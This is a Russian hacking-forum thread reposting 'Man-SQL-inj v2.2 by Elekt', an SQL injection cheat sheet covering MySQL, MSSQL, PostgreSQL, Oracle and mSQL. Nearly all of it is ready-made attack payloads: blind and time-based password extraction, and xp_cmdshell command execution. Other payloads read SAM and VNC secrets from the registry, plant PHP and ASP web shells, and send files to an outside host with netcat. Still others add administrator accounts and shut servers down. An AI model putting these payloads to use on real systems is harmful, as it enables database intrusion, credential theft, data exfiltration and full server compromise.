terminal-s52

Объявление

Администрация форума не несет никакой ответственности за действия пользователей! Уважаемые пользователи всю информацию и софт вы используете на свой страх и риск! Приятного пребывания на форуме!

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » terminal-s52 » Кодинг » Man-SQL-inj v2.2 by Elekt Введение


Man-SQL-inj v2.2 by Elekt Введение

Сообщений 1 страница 6 из 6

1

на диске с журнала Xakep нашел нормальный дос по скуль-инъекциям. выкладываю его в нескольких частях

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++ Man-SQL-inj v2.2 by Elekt +++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
=========================
Рекомендую:

http://cup.su/p/sql
http://injection.rulezz.ru/
http://sql.ru/docs/mssql/tsql_ref/index.shtml
http://www.sql.ru/articles/
http://www.answers.com/topic/comparison-of-sql-syntax

=========================
Содержание:

~ ОБЩЕЕ

~ MySQL
~ MSSQL
~ PostgreSQL
~ Oracle
~ mSQL
~ SQLite
~ Access

=========================
Структура:

1. Ссылки
2. default port
3. Системные переменные
4. Индивидуальное
5. Подгрузка данных из файла
6. Выгрузка данных в файл
7. Создаём Аккаунт
8. Полезные таблицы
9. Дамп бд в командной строке
10.Разное

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END +++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +



++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ Общее ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
=========================
КОМЕНТЫ:

-- ,
/*,
#,
{rrr}

=========================
Аналоги ПРОБЕЛА:

+ или %2B
табуляция " " или %09
возврат коретки " " или %0D
перевод строки %0A
три символа "$IFS"
коментарий /**/

=========================
КОВЫЧКИ:

" - %22
' - %27
' - %2527
` - %60
' - 0x27(mssql)
" - 0x22(mssql)

'',"" - обрамление данных, например "stroka" 'stroka'
`` - обрамление ИМЕНИ базы, столбца

=========================
Простейшие sql-инъекции:

?id=-1' or 1=1--
?id=-1" or 1=1--
?id=-1 or 1=1--
?id=-1' or 'a'='a
?id=-1" or "a"="a
?id=-1') or ('a'='a
(1, 'a'='a', 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3)
?id=-1' OR 'whatever' in ('whatever')
?id=-1' OR 2 BETWEEN 1 and 3

=========================
Определение типа переменных(строковая, числовая):

Это строка, если результат одинаков:
?id=саша
?id=саш"+"а

?id=51
?id='5'+'1'
?id=5'%2b'1

Это число, если результат одинаков:

?id=263
?id=263-1
?id=263%2d1

SELECT 1,NULL
No Error
SELECT 1,2
Error! – Second column is not an integer. ...
SELECT 1,’2’
No Error – Second column is a string.

=========================
Обход фильтрации:

1) HEX - MySQL и MSSQL представление строк в 16-ом формате(hex)
?id=-1 select 0x78617861
?id=-1 select hex(version())
Пхп-скрипт для закодирования строки:
<? $string="Ваша строка"; echo('0x'.bin2hex($string));?>

2) CHAR - MySQL\Postgresql представление строк в ascii формате - char()\chr()
char(c1,c2,c2,..) - возвращает строку состоящую из символов с ASCII кодами c1,c2,c3...
?id=9999+union+select+char(116,101,115,116),null,n ull+from_table1/*
?id=9999+union+select+null,LOAD_FILE(char(47,101,1 16,99,47,112,97,115,115,119,100)),null/*
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)

3) MySQL Обход фильтрации букв, кодировки в строковых параметрах запроса
где 0x71 - ключ шифровки\расшифровки и может быть любым, но одинаковым
?id=-1 union select 1,2,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),4,5 ,6,7,8,9,10,11/*

4) Деление операторов на части:
"UPDA"+"TE users"+"SET password=123456"

5) Деление операторов:
(Oracle)';EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
(MSSQL) ';EXEC('SEL'+'ECT US'+'ER')
(MSSQL) ';exec (*UPDA*+*TE users*+*SET password=123456*)

=========================

Обход UNION, SELECT и подзапросов:

Иногда взломщик может взять нужные ему данные из таблицы даже когда нет поддержки ни UNION, ни подзапросов. Пусть имеется простейший запрос:
select news_id,message from news where news_id=333

Тогда, если значение передаваемое в news_id не фильтруется, можно получить доступные таблицы так:
select news_id,message from news where news_id=333 natural left join mysql.user

В случае результата схожего с предыдущем или отсутствием ошибок можно говорить, что таблица mysql.user доступна и в дальнейшем из неё можно
получить нужные данные так:
select news_id,message from news where news_id=333 natural left join mysql.user where user="root" and ascii(substring(password,1,1))=111

Аналогичным перебором можно получить весь пароль и подключиться к базе данных под root.

=========================
Полезные функции:

1) substr
substring(str,begin,length) - возвращает подстроку str, начиная с begin символа по счету длиной численно равной length.
MySQL, MSSQL, Postgresql

2) ascii(char) - возвращает ASCII код символа char
=0+and+(user_id=2)+and+(ascii(substring(user_passw ord,1,1))<100)
MySQL, MSSQL, Postgresql

3) lower(str) - возвращает строку str, в которой все символы приведены к нижнему регистру
MySQL, MSSQL

4) Длина строки:
(MySQL): CHAR_LENGTH(str) - возвращает длину str
(Other): length(str)

5) hex() - если mysql начинает ругаться на большое количество кавычек то можно воспользоваться функцией HEX
?id=-1 select hex(version())
select hex("<? system($_GET['cmd']); ?> ");
3C3F2073797374656D28245F4745545B27636D64275D293B20 3F3E20
MySQL, MSSQL only

6)concat(str1,str2,str3,..) - "склеивает" строки str1,str2,str3 и тд, и возвращет полученный результат.
id=-47893 union select 1,concat(name,":",passwd) from users limit 3000,1000
MySQL

+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members

7) Преобразование типов данных(подгонка):
convert(lala,TYPE), TYPE - любой из стандартных типов MySQL : INTEGER, varchar и т.д.
convert("stroka" using cp1251) - возвратит строку "stroka" в нужно вам кодировке: cp1251,latin1,utf8
UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
MySQL, MSSQL only

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
SQL Server (S)

Hex() for every possible issue
MySQL (M)

8) charset() - Данная функция выводит кодировку заданной строки:
select charset('Программинг');
latin1
MySQL

9) cast() - в какой тип преобразовать
select cast(user() AS char);
Возможные типы:
• BINARY
• CHAR
• DATE
• TIME
• DATETIME (Дата + время: 2007-01-11 11:44:12)
• SIGNED (число)
• UNSIGNED (число)
MSSQL

10) msssql convert()

=========================
Определение возможности посимвольного перебора.

Если на два запроса РАЗНЫЕ ответы - один с ошибкой, другой - без, то возможен брут полей:
?id=1 and(1=1)/*
?id=1 and(1=2)/*
?id=1 HAVING 1=1
?id=1 ORDER BY 1=1
?id=1 GROUP BY 1=1
?id=1 GROUP BY userid having 1=1--

=========================
Посимвольный Брут полей:

?id=admin" and ascii(substring(passwd,1,1))>100 and "1"="1
?id=5')union select ascii(lower(substring(user_name,1,1))),20000%2b1 where user_id=1/*
?id=-1 seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<10 0)
?id=-1 seclet pass from users where id='admin" and ascii(substring(passwd,1,1))>100 and "1"="1
?id=-1 select news_id,message from news where id=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100
?id=9' AND lower(substring(user(),1,1))="a"/*
?id=-1 UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"
d=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100

?id=-1 AND ISNULL(ASCII(SUBSTRING((.....

=========================
Посимвольный Брут, используя задержку при исполнении ресурсоёмких операций:

SQL Server
WAIT FOR DELAY '0:0:10'
WAITFOR DELAY '0:0:0.51'
if (select user) = 'sa' waitfor delay '0:0:10'

MySQL
BENCHMARK()
BENCHMARK(199999,md5(1))
BENCHMARK(199999,SHA1(1))
На выполнение benchmark() уходит время, значит при совпадении лог условия задержка будет означать его верность:
server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999 999,md5(char(114,115,116))));

PostgreSQL
SELECT pg_sleep(10);
Sleep 10 seconds.

ORACLE
some PL/SQL tricks

============ !!NEW!!©Elekt =============
Посимвольный Брут, используя ошибку "Subquery returns more than 1 row":

?id=1 and (select null from mysql.user where length(if((ascii(substring((select password from mysql.user where id=1),1,1))>=254),password,user))<7))/*

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +

0

2

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ MSSQL ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
=========================
порт 1433
В стареньких дистрибутивах подефолту админ имеет логин 'sa' с пустым паролем.
=========================
Системные переменные:

db_name() - имя базы
user() - юзер
@@Version - версия
@@servername - имя сервера

=========================
limit 1,1 not in(), <>, table_name!=char(), not like
=========================
Добавляя символ ';' к параметру, можно выполнить дополнительный запрос совместно с первым. (MSSQL,PostgreSql,Oracle)
=========================
Запросы в MSSQL:

Узнать имя первой таблицы:
?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
(допустим, первая таблица называется 'table1').
Узнать имя таблицы, не table1:
?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

В MySQL 5.* появилась возможность доступа к системной базе INFORMATION_SCHEMA, как в MSSQL.
Можно не подбирать имена таблиц/столбцов наугад, а с помощью таблицы INFORMATION_SCHEMA.TABLES и INFORMATION_SCHEMA.COLUMNS
получить имена ВСЕХ доступных таблиц и соответствующих столбцов, так:
SELECT TABLE_SCHEMA,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="ИМЯ";

Далее, может оказаться, что таблица с интересующем нас именем находится в другой базе, имя которой мы не знаем, получить его можно так:
SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME="ИМЯ";

Узнать имя таблицы, не table1, table2, table3:
?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1','table2','table2') --

Иногда NOT IN не работает. Тогда используем знак неравенства <>
?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME<>'table1' AND TABLE_NAME<>'table2'--

Найти таблицу, в названии которой присутствует "user":
?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25user%25'--

Узнать имя первого столбца в "table1":
?id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="table1"--

Узнать имя столбца, не 'login_id', не 'login_name', не 'password',details':
?id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' AND COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Узнать пароль пользователя 'admin':
?id=-1 UNION SELECT TOP 1 password FROM users where login_name='admin'--
?id=-1 (SELECT+TOP+1+Login+FROM+admin)--
?id=-1 (UNION+SELECT+TOP+1+admin_password+FROM+admin)--

Как получить числовое значение строки?
Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9).
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом ( в нашем случае 10).
Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.
Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

======================
Команды, связанные с конкретными базами данных:

xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данныйц момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к почтовому демону sendmail)
sp_makewebtask (выполнение команды html вида).

1) Исполнение команд:
'; exec master..xp_cmdshell 'ping 10.10.1.2' --
'; EXEC master.dbo.xp_cmdshell 'cmd.exe dir'
Попробуйте использовать двойные кавычки ("), если (') не срабатывает.

wwwexample.ru/index.asp?user=1'; exec master..xp_cmdshell 'telnet 192.168.0.0' --
сервер должен соединиться через telnet с адресом 192.168.0.0

2) Работа с реестром:

xp_regaddmultistring (добавляем строковый параметр)
xp_regdeletekey (удаляем ключ)
xp_regdeletevalue (удаляем значение ключа)
xp_regread (читаем ключ)
xp_regremovemultistring (удаляем строковый параметр)
xp_regwrite (пишем информацию в реестр)

xp_regenumkeys
xp_regenumvalues

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\pa rameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters \validcommunities'

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparame ters', 'nullsessionshares';

В случае, если сервис СУБД запущен из-под пользователя Local_System Пользователя с неограниченными правами, можно прочитать хэш пароля при помощи следующей команды:
EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'

EXEC xp_instance_regwrite N'HKEY_LOCAL_MACHINE',N'Software\Microsoft\MSSQLSe rver\MSSQLServer', N'LoginMode', REG_DWORD, 2

exec master.dbo.xp_regread 'HKEY_USERS',
'.DEFAULT\Control Panel\International',
'sShortDate',@sShortDate OUTPUT

MS SQL Server 2000
EXECUTE xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\MSSQLServer\MSSQLServer',
@value_name='DefaultData'
EXECUTE xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\MSSQLServer\MSSQLServer',
@value_name='DefaultLog'

MS SQL Server 2005
EXECUTE xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL.1\MSSQLServer',
@value_name='DefaultData'
EXECUTE xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL.1\MSSQLServer',
@value_name='DefaultLog'

На примере, получим пароль VNC из реестра.
'; declare @out binary(8)
exec master..xp_regread
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SOFTWAREORLWinVNC3Default',
@value_name='password',
@value = @out output
select cast (@out as bigint) as x into TEMP--
' and 1 in (select cast(x as varchar) from temp)--

=========================
Снипеты mssql

Запуск блокнота:
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
[ смотрим файл boot.ini ]
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentexfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while ( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

Получаем shell
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run(request.querystring("cmd")) %>'
[ Сервер говорит, что он захвачен]
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

=========================
Подгрузка файла:

1)insert into

drop table r57_temp_table
create table r57_temp_table ( string VARCHAR (500) NULL)
insert into r57_temp_table EXEC master.dbo.xp_cmdshell 'c:\boot.ini'
select * from r57_temp_table
drop table r57_temp_table

2)bulk insert

create table test(lala varchar(3000));
bulk insert test from "c:/windows/ФАЙЛ"
select lala from test;
drop table test;

3)xp_cmdshell+netcat
в консоли клиента:
nc.exe -v -w 30 -p 9999 l- > c:\hack\file.upload
где -w 30 - задержка на 30 секунд, чтоб успеть набрать...
в консоли сервера:
'; EXEC master..xp_cmdshell 'nc.exe -v -w 2 xakep.com 9999 < c:\boot.ini'

4)VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

=========================
Выгрузка в файл:

1)sp_makewebtask

'; EXEC master..sp_makewebtask "\\192.168.0.0\sharedocs\Rabotaet.ura","SELECT * FROM INFORMATION_SCHEMA.TABLES"
Указываемый IP должен иметь папку "share" с доступом для Everyone.

'; EXEC sp_makewebtask 'c:\inetpub\wwwroot\shell.php', "SELECT '<? phpinfo() ?>'"
создаст на указанном компьютере данный файл благодаря sp_makewebtask.

'; EXEC sp_makewebtask @outputfile = ‘c:\SecurityChecks.htm’, @resultstitle = ‘Security Test Results’, @query = ‘SELECT * FROM tabConfigSettings ORDER BY TestResult, TestDate’ and Exec sp_makewebtask @outputfile = ‘c:\SecurityBugReport.htm’, @resultstitle = ‘Security Bugs’, @query = ‘SELECT * FROM tabBugReports ORDER BY DateLogged’

2)xp_cmdshell

exec+master..xp_cmdshell+'echo "<? phpinfo() ?>" >>c:\inetpub\wwwroot\shell.php'

3)xp_cmdshell+netcat

в консоли сервера:
'; EXEC master..xp_cmdshell 'nc.exe -v -w 30 -p 9999 l- > c:\inetpub\wwwroot\shell.php'
где -w 30 - задержка на 30 секунд, чтоб успеть набрать...
в консоли клиента:
$ nc -v -w 2 server.com 9999 < shell.php

Перезагрузка сервера =)
;shutdown --

=========================

UDF Function
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();

=========================
Создаём Аккаунт:

Для винды:
Создаёт в системе нового пользователя test_user с паролем test_passW0rd.
exec master..xp_cmdshell 'net user test_user test_passW0rd /add';

Добавляет пользователя test_user в локальную группу "Администраторы".
exec master..xp_cmdshell 'net localgroup Administrators test_user /add';

Для бд:
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

=========================
Полезные таблицы:

INFORMATION_SCHEMA.TABLES
- TABLE_SCHEMA
- TABLE_NAME
INFORMATION_SCHEMA.COLUMNS
- TABLE_SCHEMA
- COLUMN_NAME

sysobjects
- id
- name(tablename,columnname)
syscolumns
- name
systypes
sysdatabases
master.sysservers

==============================================
++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
;create table hehe(id int identity,text nvarchar(255) null);
;insert into hehe exec master..xp_cmdshell dir;

;create table foob(id int identity,p nvarchar(255) null);
;insert into foob exec master..xp_cmdshell dir;

0

3

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++ PostgreSQL ++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
ВНИМАНИЕ! полный подробный фак можно скачать от производителя:
http://www.postgresql.org/docs/
http://www.postgresql.com
http://www.postgresql.ru
http://www.host.ru/documentation/v-www/0027.html
=========================
порт демона (default) - 5432
=========================
РЕГИСТР букв в PostgreSQL имеет значение.
"RooT" и "root" - разные слова
=========================
Коментарии:

{
/*
--
%00
=========================
Системные переменные:

version() - версия базы
user - юзер
current_user - юзер
current_database() - имя базы
current_schema() - текущая схема
current_time() - времечко
=========================
Добавляя символ ';' к параметру, можно выполнить дополнительный запрос совместно с первым. (MSSQL,PostgreSql,Oracle)
=========================

Обход magic_quotes=ON :

В PostgreSQL chr() - как аналог char() в mysql, но на один chr() - один символ
root - chr(114)||chr(111)||chr(111)||chr(116)
=========================
pg_client_encoding() - возвращает текущую кодировку подключения:
?id=1+union+select+pg_client_encoding()--
SQL_ASCII
=========================
Подгрузка файла (Аналог load_file):

DROP TABLE table_file;
CREATE TABLE table_file(column_file TEXT NOT NULL);
COPY table_file (column_file) FROM '/etc/passwd';
SELECT * FROM table_file;
DROP TABLE table_file;

1)pg_read_file('bla.txt',1,20) - выводит указанный файл с 1го по 20 символ
?id=1+union+select+pg_read_file('bla.txt',1,20)

2)pg_ls_dir('/') – данная функция выводит листинг указанной ей директории
?id=1+union+select+pg_ls_dir('/')

3)pg_stat_file('bla.txt') – выводит сведения об указанном ей файле
?id=1+union+select+pg_stat_file('bla.txt')

=========================
Выгрузка в файл:

COPY (SELECT '<?php system($_GET[cmd]); ?>') TO 'FILE_NAME'

CREATE TABLE table_shell(column_shell TEXT NOT NULL);
INSERT INTO column_shell VALUES('<? passthru($_GET[cmd]); ?>');
COPY table_shell (column_shell) TO '/var/www/html/shell.php';
DROP TABLE table_shell;

=========================
Системные таблицы аналогичны MSSQL:

Смотри подробнее в MSSQL.
To see or list users, try: select * from pg_user;
SELECT table_name FROM information_schema.tables;
SELECT usename,passwd FROM pg_user limit 1;
SELECT column_name, data_type, column_default, is_nullable FROM information_schema.columns WHERE table_name='events';
=========================
Полезные таблицы:

INFORMATION_SCHEMA.TABLES
- TABLE_SCHEMA
- TABLE_NAME
INFORMATION_SCHEMA.COLUMNS
- TABLE_SCHEMA
- COLUMN_NAME

В старых версиях:
?id=1 union select TABLENAME from PG_TABLES/*
названия столбцов придется подбирать

pg_user
- usename
- usesuper
pg_shadow
- passwd

public
postgres_tables
postgres_db
pg_auth_members

pg_authid
pg_database
pg_pltemplate
pg_shdepend
pg_shdescription
pg_tablespace
=========================
Создаём Аккаунт:

CREATE USER hacker WITH PASSWORD 'pass123';
GRANT ALL PRIVILEGES ON users TO hacker;
(GRANT ALL PRIVILEGES ON pg_user TO hacker

=========================
Работа в командной строке:

psql -d billing -U admin -W admin_password

Дамп базы PostgreSQL:

pg_dump imya_vashei_bazy >> dbname.pgdump
Cистема запросит пароль.
После успешной авторизации дамп базы данных будет сохранен в файле dbname.pgdump
Восстановить дамп можно тоже из консоли:
cat dbname.pgdump | psql imya_vashei_bazy
Далее система запросит пароль.

=========================

GRANT SELECT, INSERT, DELETE, UPDATE ON `phpmyadmin`.* TO 'pma'@localhost;

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +

0

4

+++++++++++++++++++ Oracle +++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
http://injection.rulezz.ru/Oracle-SQL-Injection.html
http://baks.gaz.ru/
http://www.orafaq.com/faqplus.htm
http://nkaram.h1.ru
http://www.sql.ru/articles/articles.asp … le&s=0
http://packetstormsecurity.nl/papers...alkthrough.txt
=========================
порт демона (default) - 1521
=========================
'--' коментарий
=========================
v$version - версия
v$session – текущие сессии
v$database - база
v$instance -
ALL_USERS и таблица CUSTOMERS - таблицы юзверей.
ALL_TAB_COLUMNS - это аналог information_schema.columns в оракле.
SYS.LOGIN_USER - имя вошедшего пользователя.
=========================
Особенности:

- UNION можно добавить к SQL инструкции, чтобы выполнить вторую инструкцию;
- SUBSELECTS можно добавить к существующим инструкциям;
- Существующий SQL запрос может использовать обходные пути, чтобы возвратить все данные.
Эта методика часто используется, чтобы получить доступ через опознавательные схемы, осуществленные другими программами;
- Доступен большой выбор установленных пакетов и процедур, которые могут использоваться для чтения и записи файлов на операционной системе;
- Data Definition Language (DDL) может эксплуатироваться, если он используется в динамической SQL строке;
- Могут быть внедрены INSERT, UPDATE и DELETE.

С другой стороны, в ORACLE невозможно использовать следующие методы, присущие другим базам данных:
- не могут использоваться множественные инструкции;
- SQL инъекция невозможна, когда запрос использует присвоенные переменные;

Во отличии от предыдущих баз данных конструкция 'select columnname' недопустима - нужно обязательно укзывать имя таблицы.
Сначала обратимся 'select null from dual'
Когда сообщение об ошибке исчезнет, попробуем обратиться к ALL_TAB_COLUMNS.
Дальше вытащим table_name и column_name

Невозможно просто добавить другую инструкцию в существующую инструкцию, сформированную процедурой для выполнения, как, например, в MSSQL.
Единственный способ заставить ORACLE выполнить дополнительный SQL запрос состоит в том, чтобы расширить существующее where или использовать union или subselect.

Нельзя вызывать пакеты file или output типов, типа UTL_FILE или DBMS_OUTPUT или DBMS_LOB непосредственно из SQL инструкций,
поскольку они должны выполняться в PL/SQL блоке или вызываться выполняющей командой из SQL*Plus.
=========================
В скл-запросе к оракл-серверу все идет не одной строкой, поэтому коментирование '--' не всегда корректно.
=========================
Конкатенация строк: "stroka1"||"stroka2"
=========================
Замена пробелов ковычками:
select''username''from''sys.dba_users''where''user name''='sys'
=========================
Вместо TOP в MSSQL, и LIMIT в MySQL используется конструкция 'where ROWNUM = 1' или 'in(1,2)'
=========================
Могут еще помочь функции to_date и to_char.
=========================
Версия:

?id=-1 union select null,banner,null,null from v$version--
?id=-1 union SELECT BANNER FROM V$VERSION
?id=-1 union SELECT * FROM V$VERSION
select VERSION from V$INSTANCE
=========================
База:

?id=-1 union select null,banner,null,null from V$DATABASE--
?id=-1 union select name from V$DATABASE
?id=-1 union select * from V$DATABASE
=========================
Сессия:

select SCHEMANAME from v$session
select * from v$session – текущие сессии
=========================
Имя пользователя:

?id=-1 union select null,username,null,null from sys.all_users--
?id=-1 union select user from dual
=========================
Просмотреть названия таблиц:

?id=1 union select table_name from sys.all_tables--
?id=1 union select table_name from sys.user_tables--
?id=1 union select table_name from user_tables--
=========================
Просмотреть названия колонок:

?id=1 union select column_name from sys.user_tab_columns--
=========================
В отсутствие LIMIT в Oracle перебор ведётся с использованием ROWNUM:

?id=-1 union select table_name from (select rownum r, table_name from sys.user_tables) where r=1
?id=-1 union select table_name from (select rownum r, table_name from sys.user_tables) where r=2

?id=-1 union select column_name from (select rownum r, column_name from sys.user_tab_columns) where r=1
?id=-1 union select column_name from (select rownum r, column_name from sys.user_tab_columns) where r=2

?id=-1 union select column_name from sys.user_tab_columns where rownum < 3--
=========================
Примеры запросов:

select * from user_tables – таблицы схемы текущего пользователя
select * from user_objects – вся схема текущего пользователя

Аккаунты пользователей:

select * from sys.dba_users
select PASSWORD from sys.dba_users

select sys.login_user from sys.dual
=========================
Создаём Аккаунт:

CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;
=========================
Полезные таблицы:

SYS.USER_OBJECTS (USEROBJECTS)
SYS.USER_VIEWS
SYS.USER_TABLES
SYS.USER_VIEWS
SYS.USER_TAB_COLUMNS
SYS.USER_CATALOG
SYS.USER_TRIGGERS
all_users
SYS.ALL_TABLES
SYS.ALL_TAB_COLUMNS
- owner
- table_name
- column_name
- column_name
- data_type
SYS.TAB

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +

0

5

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ mSQL ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +

http://www.hughes.com.au/library/msql/

=========================
порт демона (default) - 1114
=========================
AdminUser - root
msql.conf
=========================
char (len) - String of characters (or other 8 bit data)
text (len) - Variable length string of characters. The defined length is used to indicate the expected average length of the data.

date - Date values in the format of ‘DD-Mon-YYYY’ such as ‘1-Jan-1997’
time - Time values stored in 24 hour notation in the format of ‘HH:MM:SS’
money - A numeric value with two fixed decimal places
ipv4 - An Internet address in the format of ‘aaa.bbb.ccc.ddd’
cidr4 - An Internet network address block specified in CIDR format ‘aaa.bbb.ccc.ddd/length’.

=========================
Functions in SELECT queries: upper(),lower(),length(),substr(),chop(),translate (),replace(),soundex()
Numeric functions: abs(),ceil(),floor(),mod(),sign(),power()

upper ( ) - upper(last_name) Produces an upper case version of the value
lower( ) - lower(last_name) Produces a lower case version of the value
length( ) - length(deptarment) Produces the number of characters in the value
substr( ) - substr(name, 1, 5) Extracts a substring from the value, starting at character 1 and continuing for 5 characters.
chop( ) - chop(name) Removes the last character from the value
translate( ) - translate(name,‘a-z ‘,’A-Z_’) Replaces all characters matched by the second arg with the corresponding character from the third arg.
replace( ) - replace(value,’color’,’colour’) Rewrites ‘color’ to ‘colour’ in the value
soundex( ) - soundex(value) Produces the numeric soundex value of the string

abs( ) - abs(value) Returns the absolute value of number
ceil( ) - ceil(value) Produces the ceiling of the value (i.e. rounded up)
floor( ) - floor(value) Produces the floor of the value (i.e. rouned down)
mod( ) - mod(value) Returns the modulus of the value
sign( ) - sign(value) Returns –1 for neg, +1 for pos and 0 for NULL values
power( ) - power(value, power) Raises the value to the specified power
=========================
Системные переменные:

_rowid
select _rowid, first_name, last_name from emp_details where last_name = 'Smith'

_timestamp
select * from emp_details where _timestamp 88880123

_seq
select _seq from staff

_sysdate
